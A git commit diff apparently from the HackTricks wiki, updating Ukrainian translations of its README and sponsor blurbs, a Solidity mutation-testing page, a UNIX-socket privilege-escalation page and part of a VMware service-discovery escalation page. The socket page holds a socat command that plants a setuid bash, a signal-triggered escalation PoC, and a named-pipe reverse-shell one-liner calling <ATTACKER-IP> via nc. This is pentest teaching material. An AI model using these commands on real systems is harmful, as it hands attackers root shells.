Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/linu

This commit is contained in:
Translator 2025-10-01 12:13:22 +00:00
parent 83038eb01c
commit 52cd11e38e
13 changed files with 849 additions and 761 deletions

View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks логотипи та motion-дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks логотипи та моушн-дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Запустіть HackTricks локально
### Запустити HackTricks локально
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Ваша локальна копія HackTricks буде **available at [http://localhost:3337](http://localhost:3337)** через <5 хвилин (потрібен час на збірку книги, будьте терплячі).
Ваша локальна копія HackTricks буде **доступна за адресою [http://localhost:3337](http://localhost:3337)** через <5 хвилин (потрібно збудувати книгу, будь ласка, зачекайте).
## Корпоративні спонсори
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) — відмінна компанія в галузі кібербезпеки, чий слоган — **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють свої hacking tools, щоб **надавати кілька цінних послуг у сфері кібербезпеки**, таких як pentesting, Red teams і тренінги.
[**STM Cyber**](https://www.stmcyber.com) — відома cybersecurity компанія, чий слоган — **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють власні hacking tools, щоб **надавати кілька цінних cybersecurity services**, таких як pentesting, Red teams та training.
Ви можете переглянути їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Ви можете переглянути їхній **blog** за адресою [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** також підтримують open source проєкти з кібербезпеки, такі як HackTricks :)
**STM Cyber** також підтримує cybersecurity open source проекти, такі як HackTricks :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) — найважливіша подія з кібербезпеки в **Spain** і одна з найзначніших у **Europe**. Маючи **місію популяризації технічних знань**, ця конференція є жвавим майданчиком для зустрічей фахівців з технологій і кібербезпеки з усіх дисциплін.
[**RootedCON**](https://www.rootedcon.com) — найважливіша подія з cybersecurity в **Spain** і одна з найважливіших у **Europe**. Маючи **місію просування технічних знань**, цей конгрес є киплячою точкою зустрічі для фахівців із технологій та cybersecurity у всіх дисциплінах.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** — **Europe's #1** ethical hacking і **bug bounty platform.**
**Intigriti** — **Europe's #1** ethical hacking та **bug bounty platform.**
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) вже сьогодні та починайте заробляти bounties до **$100,000**!
Порада щодо bug bounty: **sign up** на **Intigriti**, преміум bug bounty platform створену хакерами для хакерів! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні і почніть заробляти винагороди до **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко будувати та **автоматизувати workflows**, керовані найпотужнішими інструментами спільноти.
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко будувати та **automate workflows**, що працюють на базі найпередовіших інструментів спільноти.
Отримайте доступ сьогодні:
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами і bug bounty мисливцями!
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та bug bounty hunters!
- **Hacking Insights:** Занурюйтесь у контент, що розкриває захоплення та виклики хакінгу
- **Real-Time Hack News:** Будьте в курсі швидкоплинних новин світу хакінгу в реальному часі
- **Latest Announcements:** Слідкуйте за новими запусками bug bounties та важливими оновленнями платформи
- **Hacking Insights:** Занурюйтеся в контент, який розкриває азарт і виклики hacking
- **Real-Time Hack News:** Будьте в курсі швидкоплинного світу hacking через оперативні новини та аналітику
- **Latest Announcements:** Отримуйте інформацію про нові запуски bug bounty та важливі оновлення платформ
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами вже сьогодні!
**Приєднуйтесь до нас у** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
---
@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте хакерський погляд на ваші веб-застосунки, мережу та cloud**
**Отримайте погляд хакера на ваші веб-додатки, мережу та cloud**
**Знаходьте й звітуйте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для мапування attack surface, виявлення проблем безпеки, що дозволяють escalatе privileges, і застосовуйте автоматизовані експлойти для збору необхідних доказів, перетворюючи вашу роботу на переконливі звіти.
**Знаходьте та повідомляйте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів, щоб мапувати attack surface, знаходити проблеми безпеки, що дозволяють escalatе privileges, і застосовувати automated exploits для збору необхідних доказів, перетворюючи вашу роботу на переконливі звіти.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,12 +120,12 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** пропонує швидкі та прості real-time APIs для **доступу до результатів пошуку**. Вони скрейплять пошукові системи, керують проксі, вирішують captchas і парсять всю структуровану data для вас.
**SerpApi** пропонує швидкі та прості real-time APIs для доступу до search engine results. Вони скраплять пошукові системи, обробляють проксі, розв'язують captchas та парсять всю багату структуровану інформацію за вас.
Підписка на один із планів SerpApi включає доступ до понад 50 різних API для скрейпінгу різних пошукових систем, включно з Google, Bing, Baidu, Yahoo, Yandex та іншими.\
На відміну від інших постачальників, **SerpApi не просто скрейпить organic results**. Відповіді SerpApi постійно включають усі ads, inline images and videos, knowledge graphs та інші елементи та функції, присутні в результатах пошуку.
Підписка на один із планів SerpApi включає доступ до понад 50 різних APIs для скрапінгу різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
На відміну від інших провайдерів, **SerpApi не просто скрапить organic results**. Відповіді SerpApi послідовно включають всі ads, inline images і videos, knowledge graphs та інші елементи й функції, присутні у результатах пошуку.
Серед поточних клієнтів SerpApi — **Apple, Shopify, і GrubHub**.\
Серед поточних клієнтів SerpApi — **Apple, Shopify, and GrubHub**.\
Для додаткової інформації перегляньте їхній [**blog**](https://serpapi.com/blog/)**,** або спробуйте приклад у їхньому [**playground**](https://serpapi.com/playground)**.**\
Ви можете **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
@ -135,7 +135,7 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Опануйте технології та навички, необхідні для проведення vulnerability research, penetration testing та reverse engineering, щоб захищати мобільні застосунки й пристрої. **Оволодійте iOS та Android security** через наші on-demand курси та **отримуйте сертифікацію**:
Опановуйте технології та навички, необхідні для проведення vulnerability research, penetration testing та reverse engineering для захисту мобільних додатків і пристроїв. **Master iOS and Android security** через наші on-demand курси та **отримайте сертифікацію**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) — професійна компанія з кібербезпеки, що базується в **Amsterdam**, яка допомагає **захищати** бізнеси **по всьому світу** від сучасних загроз кібербезпеки, надаючи **offensive-security services** із **сучасним** підходом.
[**WebSec**](https://websec.net) — професійна cybersecurity компанія, що базується в **Amsterdam**, яка допомагає захищати компанії по всьому світу від найновіших загроз у сфері cybersecurity, надаючи offensive-security services із сучасним підходом.
WebSec — міжнародна компанія з офісами в Amsterdam та Wyoming. Вони пропонують **all-in-one security services**, що означає, що роблять усе: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing та багато іншого.
WebSec — міжнародна security компанія з офісами в Amsterdam і Wyoming. Вони пропонують **all-in-one security services**, тобто виконують усе: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing та багато іншого.
Ще одна цікава річ щодо WebSec: на відміну від середнього по галузі, WebSec **дуже впевнені у своїх навичках**, настільки, що **гарантують найкращі результати**, як зазначено на їхньому сайті: "**If we can't hack it, You don't pay it!**". Для додаткової інформації перегляньте їхній [**website**](https://websec.net/en/) та [**blog**](https://websec.net/blog/)!
Ще одна цікава річ про WebSec — на відміну від середнього по індустрії, WebSec **дуже впевнені у своїх навичках**, настільки, що вони **гарантують найкращі результати**, як зазначено на їхньому сайті: "**If we can't hack it, You don't pay it!**". Для додаткової інформації перегляньте їхній [**website**](https://websec.net/en/) та [**blog**](https://websec.net/blog/)!
Крім вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
Окрім вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) — пошукова система по data breach (leak). \
Ми надаємо пошук по випадкових рядках (як google) по всім типам витоків даних великим і малим — не тільки по великим — по даних з множинних джерел. \
Пошук по людям, пошук через AI, пошук організацій, API (OpenAPI) доступ, інтеграція theHarvester, всі функції, які потрібні pentester.\
**HackTricks продовжує бути чудовою навчальною платформою для всіх нас, і ми пишаємося, що спонсоруємо її!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) — це search engine для data breach (leak). \
Ми надаємо пошук за довільними рядками (як Google) по всіх типах data leaks — великих і малих — з даних з різних джерел. \
Пошук по людям, пошук через AI, пошук по організаціях, API (OpenAPI) доступ, інтеграція theHarvester — усі функції, які потрібні pentester.\
**HackTricks продовжує бути відмінною навчальною платформою для всіх нас, і ми пишаємося тим, що спонсоруємо її!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та проводить ефективні курси з кібербезпеки, створені та ведені експертами індустрії. Їхні програми виходять за межі теорії, щоб забезпечити команди глибоким розумінням та практичними навичками, використовуючи кастомні середовища, що відтворюють реальні загрози. Для індивідуальних запитів щодо навчання зв'яжіться з нами [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та проводить ефективні cybersecurity training, створені та керовані практиками з індустрії. Їхні програми виходять за межі теорії, щоб надати командам глибоке розуміння та практичні навички, використовуючи кастомні середовища, які відображають реальні загрози. Для індивідуальних запитів щодо training зв'яжіться з нами [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Що вирізняє їхні тренінги:**
* Кастомний контент і лабораторії
* Підтримка провідних інструментів і платформ
* Розроблені та викладаються практиками
* Custom-built content and labs
* Backed by top-tier tools and platforms
* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions надає спеціалізовані послуги з кібербезпеки для установ в галузі **Education** та **FinTech**, з акцентом на **penetration testing, cloud security assessments**, та **compliance readiness** (SOC 2, PCI-DSS, NIST). Наша команда включає фахівців сертифікованих OSCP та CISSP, які приносять глибоку технічну експертизу та галузеве розуміння в кожне завдання.
Last Tower Solutions надає спеціалізовані cybersecurity services для установ у сферах **Education** та **FinTech**, з фокусом на **penetration testing, cloud security assessments** та **compliance readiness** (SOC 2, PCI-DSS, NIST). Наша команда включає професіоналів, сертифікованих OSCP та CISSP, що приносить глибоку технічну експертизу та індустріальну прозорість у кожне залучення.
Ми виходимо за межі автоматизованих сканувань завдяки **manual, intelligence-driven testing**, адаптованому до середовищ із високими ставками. Від захисту студентських записів до забезпечення безпеки фінансових транзакцій — ми допомагаємо організаціям захищати те, що найважливіше.
Ми виходимо за межі автоматизованих сканів, використовуючи **manual, intelligence-driven testing**, адаптоване до середовищ з високими ризиками. Від захисту студентських записів до забезпечення безпеки фінансових транзакцій — ми допомагаємо організаціям захищати те, що має найвищу цінність.
_“A quality defense requires knowing the offense, we provide security through understanding.”_
Будьте в курсі останніх новин у сфері кібербезпеки, відвідавши їхній [**blog**](https://www.lasttowersolutions.com/blog).
Будьте в курсі останніх подій у cybersecurity, відвідуючи наш [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE дає змогу DevOps, DevSecOps та розробникам ефективно управляти, моніторити та захищати Kubernetes кластери. Використовуйте наші AI-driven insights, просунуту security framework та інтуїтивний CloudMaps GUI для візуалізації ваших кластерів, розуміння їхнього стану та впевнених дій.
K8Studio IDE дає змогу DevOps, DevSecOps та розробникам ефективно керувати, моніторити та забезпечувати безпеку Kubernetes clusters. Використовуйте наші AI-driven insights, розширену security framework та інтуїтивний CloudMaps GUI для візуалізації кластерів, розуміння їхнього стану та впевнених дій.
Крім того, K8Studio **сумісний з усіма основними дистрибуціями kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift та інші).
Крім того, K8Studio сумісний з усіма основними kubernetes distributions (AWS, GCP, Azure, DO, Rancher, K3s, Openshift та інші).
{{#ref}}
https://k8studio.io/
@ -228,9 +228,9 @@ https://k8studio.io/
---
## License & Disclaimer
## Ліцензія та відмова від відповідальності
Перевірте їх у:
Перевірте їх тут:
{{#ref}}
welcome/hacktricks-values-and-faq.md

View File

@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,14 +1,14 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
# Мутаційне тестування для Solidity зі Slither (slither-mutate)
{{#include ../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
Мутаційне тестування "перевіряє ваші тести", систематично вносячи невеликі зміни (мутанти) у ваш Solidity-код і повторно запускаючи набір тестів. Якщо тест не проходить — мутант вбито. Якщо тести все ще проходять — мутант виживає, виявляючи сліпу пляму у вашому наборі тестів, яку line/branch coverage не може виявити.
Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
Ключова ідея: Coverage показує, що код був виконаний; мутаційне тестування показує, чи поведінка фактично перевірена.
## Чому покриття може вводити в оману
## Чому coverage може вводити в оману
Розгляньте цю просту перевірку порогу:
Розглянемо цю просту перевірку порогу:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,39 +18,39 @@ return false;
}
}
```
Модульні тести, що перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, одночасно не перевіряючи граничну перевірку на рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
Модульні тести, які перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, водночас не перевіряючи граничну рівність (==). Рефакторинг до `deposit >= 2 ether` все ще пройде такі тести, тихо порушивши логіку протоколу.
Мутаційне тестування виявляє цю прогалину шляхом мутації умови та перевірки, що ваші тести не проходять.
Mutation testing виявляє цю прогалину — мутує умову й перевіряє, що тести не проходять.
## Поширені оператори мутацій Solidity
## Поширені оператори мутації для Solidity
Slithers mutation engine застосовує багато невеликих змін, що змінюють семантику, таких як:
- Заміна операторів: `+``-`, `*``/`, etc.
Slithers mutation engine applies many small, semantics-changing edits, such as:
- Заміна операторів: `+``-`, `*``/`, тощо.
- Заміна присвоєння: `+=``=`, `-=``=`
- Заміна констант: ненульове → `0`, `true``false`
- Заперечення/заміна умови всередині `if`/loops
- Заперечення/заміна умов всередині `if`/циклів
- Коментування цілих рядків (CR: Comment Replacement)
- Замінити рядок на `revert()`
- Заміна типів даних: наприклад, `int128``int64`
Мета: знищити 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
Мета: знищити 100% згенерованих мутантів, або обґрунтувати тих, що вижили, зрозумілими аргументами.
## Running mutation testing with slither-mutate
## Запуск mutation testing за допомогою slither-mutate
Requirements: Slither v0.10.2+.
Вимоги: Slither v0.10.2+.
- Перелік опцій та мутаційних операторів:
- Перелічити опції та мутатори:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Приклад Foundry (зафіксувати результати й вести повний журнал):
- Foundry приклад (захопити результати та зберегти повний log):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на команду, якою ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на те, як ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
Артефакти та звіти за замовчуванням зберігаються в `./mutation_campaign`. Незловлені (вцілілі) мутанти копіюються туди для перевірки.
Артефакти та звіти зберігаються в `./mutation_campaign` за замовчуванням. Невиловлені (вцілілі) мутанти копіюються туди для перевірки.
### Розуміння виводу
@ -59,55 +59,55 @@ slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Тег у дужках — це псевдонім мутатора (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що тести пройшли за зміненої поведінки → відсутня перевірка.
- Тег у дужках — псевдонім мутатора (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що тести пройшли під мутованою поведінкою → відсутнє твердження.
## Скорочення часу виконання: надавайте пріоритет впливовим мутантам
## Зменшення часу виконання: пріоритезуйте впливові мутанти
Кампії з мутацій можуть тривати години або дні. Поради для зменшення витрат:
- Scope: почніть лише з критичних контрактів/директорій, потім розширюйте.
- Prioritize mutators: якщо високопріоритетний мутант на рядку вижив (наприклад, цілий рядок закоментовано), можна пропустити менш пріоритетні варіанти для цього рядка.
- Parallelize tests if your runner allows it; кешуйте залежності/зборки.
- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє відсутність перевірки.
Мутаційні кампанії можуть тривати години або дні. Поради для зменшення витрат:
- Обсяг: Почніть лише з критичних контрактів/директорій, потім розширюйте.
- Пріоритезуйте мутатори: Якщо мутант з високим пріоритетом на рядку виживає (наприклад, увесь рядок закоментовано), ви можете пропустити варіанти з нижчим пріоритетом для цього рядка.
- Паралелізуйте тести, якщо ваш runner дозволяє; кешуйте залежності/збірки.
- Fail-fast: зупиняйтеся раніше, коли зміна чітко демонструє прогалину в твердженнях.
## Робочий процес триажу для мутантів, що вижили
## Робочий процес тріажу для вцілілих мутантів
1) Огляньте змінений рядок коду та поведінку.
- Відтворіть локально, застосувавши змінений рядок і запустивши цілеспрямований тест.
1) Перевірте мутований рядок та його поведінку.
- Відтворіть локально, застосувавши мутований рядок і запустивши цілеспрямований тест.
2) Посиліть тести, щоб перевіряти стан, а не лише значення, що повертаються.
2) Посиліть тести так, щоб вони перевіряли стан, а не лише значення повернення.
- Додайте перевірки меж рівності (наприклад, тест порогу `==`).
- Перевіряйте постумови: баланси, total supply, ефекти авторизації та згенеровані події.
3) Замініть надто ліберальні mocks на реалістичну поведінку.
- Переконайтеся, що mocks відображають transfers, failure paths і event emissions, які відбуваються on-chain.
3) Замініть надмірно дозволяючі моки на реалістичну поведінку.
- Переконайтеся, що моки примушують виконувати трансфери, шляхи відмови та емісію подій, які відбуваються on-chain.
4) Додайте інваріанти для fuzz-тестів.
- Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонність total supply там, де це застосовно.
- Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонна загальна пропозиція там, де це застосовно.
5) Перезапускайте slither-mutate, доки всі вижилі мутанти не будуть вбиті або явно обґрунтовані.
5) Повторно запустіть slither-mutate, поки вцілілі мутанти не будуть усунуті або явно виправдані.
## Приклад: виявлення відсутніх перевірок стану (Arkis protocol)
## Case study: revealing missing state assertions (Arkis protocol)
Кампанія мутацій під час аудиту Arkis DeFi protocol виявила вижилі, наприклад:
Під час аудиту протоколу Arkis DeFi мутаційна кампанія виявила такі вцілілі мутанти:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Закоментування присвоєння не зламало тести, що підтверджує відсутність post-state assertions. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевіряти фактичні перекази токенів. Атакуючий міг би десинхронізувати очікувані й фактичні перекази, щоб вивести кошти. Наслідок: ризик високої критичності для платоспроможності протоколу.
Коментування присвоєння не зламало тести, що підтверджує відсутність перевірок стану після виконання. Причина: код покладався на керований користувачем `_cmd.value` замість перевірки фактичних переказів токенів. Атакувальник міг розсинхронізувати очікувані та фактичні перекази, щоб вивести кошти. Наслідок: високий ризик для платоспроможності протоколу.
Guidance: Вважайте survivors, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, поки їх не вбито.
Рекомендація: вважайте виживші мутанти, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, доки їх не знищено.
## Практичний чекліст
- Запустіть цілеспрямовану кампанію:
- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Проведіть триаж survivors і напишіть тести/інваріанти, які проваляться при мутованій поведінці.
- Перевірте баланси, supply, авторизації та події.
- Додайте тести меж (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Проаналізуйте виживші мутанти та напишіть тести/інваріанти, які проваляться при мутованій поведінці.
- Перевірте баланси, загальну емісію, авторизації та події.
- Додайте граничні тести (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Замініть нереалістичні mocks; змоделюйте режими відмов.
- Повторюйте, поки всі mutants не будуть killed або виправдані коментарями та обґрунтуванням.
- Ітеруйте, поки всі мутанти не будуть знищені або виправдані коментарями та обґрунтуванням.
## Посилання
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)

File diff suppressed because it is too large Load Diff

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
## Socket binding приклад з Python
У наведеному прикладі **unix socket створюється** (`/tmp/socket_test.s`) і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я розумію, що ви не знайдете цього в реальному житті, але мета цього прикладу — показати, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані в найгіршому можливому випадку.
У наступному прикладі **unix socket створюється** (`/tmp/socket_test.s`), і все, що **отримується**, буде **виконане** за допомогою `os.system`. Я знаю, що ви навряд чи знайдете це в реальному житті, але мета цього прикладу — побачити, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані у найгіршому можливому випадку.
```python:s.py
import socket
import os, os.path
@ -26,7 +26,7 @@ print(datagram)
os.system(datagram)
conn.close()
```
**Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket прослуховує**:
**Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket слухає**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
```
## Кейс: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає untrusted input і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє unprivileged client впливати на те, який native thread буде ціллю, ви можете зуміти викликати привілейований код і escalate.
Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає ненадійний ввід і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє непривілейованому клієнту впливати на те, який native thread буде націлений, ви можете спровокувати виконання привілейованого коду і підвищити привілеї.
Спостережуваний шаблон:
Спостережуваний патерн:
- Підключитися до root-owned socket (e.g., /tmp/remotelogger).
- Створити thread і отримати його native thread id (TID).
- Надіслати TID (packed) плюс padding як запит; отримати acknowledgement.
- Надіслати конкретний signal цьому TID, щоб trigger привілейовану поведінку.
- Відправити TID (packed) плюс padding як запит; отримати підтвердження.
- Надіслати конкретний сигнал цьому TID, щоб викликати привілейовану поведінку.
Мінімальний PoC ескіз:
```python
@ -59,14 +59,13 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Щоб перетворити це на root shell, можна використати простий named-pipe + nc pattern:
Щоб перетворити це на root shell, можна використати просту схему named-pipe + nc:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Примітки:
- Цей клас помилок виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), і прив'язування їх до привілейованих signal handlers або логіки.
- Зміцніть безпеку, вимагаючи credentials на socket, перевіряючи формати повідомлень та відокремлюючи привілейовані операції від зовні переданих thread identifiers.
- Цей клас багів виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), та прив'язку їх до привілейованих обробників сигналів або логіки.
- Посилюйте захист, застосовуючи перевірку credentials на socket, валідацію форматів повідомлень та відокремлення привілейованих операцій від зовнішньо наданих thread identifiers.
## Посилання

View File

@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
Ця техніка зловживає пайплайнами виявлення сервісів, керованими regex, які розбирають командні рядки запущених процесів, щоб визначити версії сервісів, а потім запускають кандидатний бінарний файл з прапорцем "version". Коли дозволяючі шаблони приймають ненадійні, керовані атакуючим шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарний файл з ненадійного розташування, що призводить до локального підвищення привілеїв. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
Ця техніка зловживає конвеєрами service discovery, керованими regex, які парсять командні рядки запущених процесів, щоб визначити версії сервісів, а потім виконують кандидатний бінарник з прапорцем "version". Коли занадто дозволяючі патерни приймають ненадійні, атакуючим керовані шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарник з ненадійного розташування, що призводить до local privilege escalation. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
- Вплив: локальне підвищення привілеїв до root (або до привілейованого облікового запису для виявлення)
- Причина: Untrusted Search Path (CWE-426) + надмірно широка відповідність regex командних рядків процесів
- Затронуті: open-vm-tools/VMware Tools на Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
